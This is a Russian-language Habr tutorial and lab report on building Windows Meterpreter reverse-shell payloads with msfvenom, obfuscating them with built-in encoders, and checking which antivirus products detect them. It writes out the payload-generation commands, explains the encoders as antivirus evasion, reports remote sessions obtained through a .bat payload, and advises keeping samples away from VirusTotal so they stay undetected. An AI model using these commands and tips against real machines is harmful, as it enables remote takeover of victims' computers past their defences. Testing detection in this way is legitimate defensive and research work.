Полезные нагрузки в MsfVenom с использованием энкодеров. Тестируем и проверяем обнаружение сигнатур

4b99d8af9dd3d525978e93e958a760e4.jpg

Введение

Приветствуем дорогих читателей! В сегодняшней статье ознакомимся с созданием полезных нагрузок при помощи msfvenom, использованием встроенных encoders (средства сокрытия нагрузки) и проверим их эффективность на трёх виртуальных машинах с разным антивирусным ПО.

Дисклеймер: Все данные, предоставленные в статье, взяты из открытых источников. Не призывают к действию и предоставлены только для ознакомления и изучения механизмов используемых технологий.

Полезные OSINT инструменты в телеграме (всегда рабочие ссылки)

Создание полезных нагрузок через msfvenom

MsfVenom — это инструмент, который является частью фреймворка Metasploit и используется для создания полезных нагрузок (payloads). Он объединяет функции двух старых инструментов: msfpayload и msfencode. MsfVenom позволяет генерировать различные виды вредоносных полезных нагрузок, которые могут быть использованы для эксплуатации уязвимостей в системах.

Основные возможности MsfVenom:

  1. Создание полезных нагрузок: MsfVenom поддерживает множество типов полезных нагрузок для различных платформ, включая Windows, Linux, macOS и мобильные операционные системы.

  2. Поддержка различных форматов: Полезные нагрузки могут быть экспортированы в различные форматы, такие как исполняемые файлы (EXE), скрипты (PHP, Python), динамические библиотеки (DLL) и многие другие.

  3. Шифрование и обфускация: MsfVenom предлагает опции для шифрования полезных нагрузок и их обфускации, что помогает избежать обнаружения антивирусами.

  4. Генерация однострочных скриптов: MsfVenom может создавать однострочные скрипты, которые легко вставить в другие программы или использовать в веб-эксплойтах.

Пример использования

Чтобы создать простую полезную нагрузку для Windows, можно использовать следующую команду:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f exe -o payload.exe

В этом примере:
-p указывает тип полезной нагрузки (в данном случае Meterpreter с обратным TCP).
LHOST и LPORT задают IP-адрес и порт для обратного соединения.
-f указывает формат выходного файла (exe).
-o задает имя выходного файла.

Встроенные encoders для сокрытия полезной нагрузки от антивирусов

В MsfVenom энкодеры используются для обфускации полезных нагрузок, чтобы сделать их менее заметными для антивирусного программного обеспечения и систем обнаружения вторжений. Энкодеры изменяют байтовый код полезной нагрузки, не меняя ее функциональности, что помогает избежать обнаружения. Давайте рассмотрим три энкодера:

1. x64/xor_context

Использует контекстное XOR-шифрование, изменяя ключ в зависимости от выполнения, что затрудняет обнаружение через статический анализ. Пример команды для создания полезной нагрузки с использованием этого энкодера:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_context -o payload.exe

2. x64/xor_dynamic

Этот энкодер динамически генерирует ключ XOR во время выполнения, что делает его более устойчивым к анализу и обнаружению. Пример команды:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/xor_dynamic -o payload.exe

3. x64/zutto_dekiru

Энкодер zutto_dekiru применяет сложные методы обфускации, включая шифрование и изменение структуры кода, что усложняет анализ. Пример команды:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -e x64/zutto_dekiru -o payload.exe

Пояснения к командам

-p: Определяет полезную нагрузку, в данном случае это windows/x64/meterpreter/reverse_tcp, которая создает обратное соединение с указанным хостом.
LHOST: Указывает IP-адрес вашего устройства, на которое будет отправлено обратное соединение.
LPORT: Указывает порт, на котором будет слушать ваше устройство.
-e: Указывает энкодер, который вы хотите использовать.
-o: Указывает имя выходного файла, в который будет записана закодированная полезная нагрузка.

Проверка антивирусами

VirusTotal

448735eccb19889425f26366c50f3d0c.png

Результат очевиден, полезная нагрузка определилась сразу. Для проверки сигнатур нагрузок, делиться подобными онлайн-сканерами плохо, т.к потом они перестают работать и палятся, поэтому забываем про онлайн сервисы подобные VirusTotal.

Виртуальные машины

Для тестирования мы создали три виртуальные машины на ОС Windows 10 Pro и одну под управлением Kali Linux. Создали между всеми машинами одну виртуальную сеть без доступа к интернету (для того чтобы антивирусное ПО не делилось сигнатурами на анализ). В одну машину мы установили антивирус Kaspersky, в другую Grizzly Pro, а третью оставили со стандартным Windows Defender (на двух предыдущих запустили скрипт «no defender» чтобы полностью отключить защитник Windows для чистоты тестирования).

Внутренние IP машин следующие:

  • Kali Linux — 192.168.56.4

  • Kaspersky — 192.168.56.5

  • Grizzly Pro — 192.168.56.6

  • Windows Defender — 192.168.56.7

Сначала протестируем полезные нагрузки без энкодеров. Для примера возьмём нагрузки dll, exe (обычный шелл и meterpreter) и bat, поместим в архив и скинем на каждую машину.

Создание нагрузок и помещение в архив

Создание нагрузок и помещение в архив

Как только закинули архив в машину с касперским, он тут же удалил как файлы exe, dll, так и батник без шансов на запуск и восстановление.

Антивирус Kaspersky

Антивирус Kaspersky

eaab63c8eada8f8eb9acca967e667bad.png

Антивирус Grizzly Pro отлично среагировал на файлы exe и dll, но полностью проигнорировал батник, что привело к его запуску и получению удалённого доступа.

Антивирус заметил shell.exe

Антивирус заметил shell.exe

233a6c14d6fef207277f2f1a6d685367.png

Защитник Windows отреагировал идентично Grizzly Pro.

Запретил доступ только exe файлу

Запретил доступ только exe файлу

73e4d613f6a853bfc4b64fe509adde6a.png

Запускаем батники и получаем удалённый доступ.

Запуск bat на машине с Grizzly Pro и аналогично Windows Defender

Запуск bat на машине с Grizzly Pro и аналогично Windows Defender

Получена сессия тачки с Grizzly Pro

Получена сессия тачки с Grizzly Pro

Получена сессия тачки с Windows Defender

Получена сессия тачки с Windows Defender

Как видим, батники кодировать нет смысла, а вот файлы exe мы прогоним через три криптора про которые упомянули в теоретической части. Таким же образом мы помещаем все 3 шелла в архив и тестируем на всех машинах.

e9dfe7d213c69aea9041bb3026ea5ca0.png

На машине с касперским ситуация идентичная прошлой, все три сигнатуры были моментально удалены.

Антивирус удалил все 3 сигнатуры

Антивирус удалил все 3 сигнатуры

С антивирусом Grizzly Pro ситуация идентичная.

1fbe51dc7242e5f75b1fff2eb292e201.png

Машина с Windows Defender опознала все сигнатуры.

1639e32a94fc16f908284d40fa5e22a2.png

Итоги

Для удобства и максимальной наглядности мы составили таблицу сравнения детекта сигнатур из тестов выше и добавили ещё статистику по двум популярным антивирусам (Avast, Dr.Web).

5cee2733b4d2effa8bf42f6a87702c85.png

P.S.
Полезные OSINT инструменты в телеграме (всегда рабочие ссылки)

LHMedia в телеграме:

© Habrahabr.ru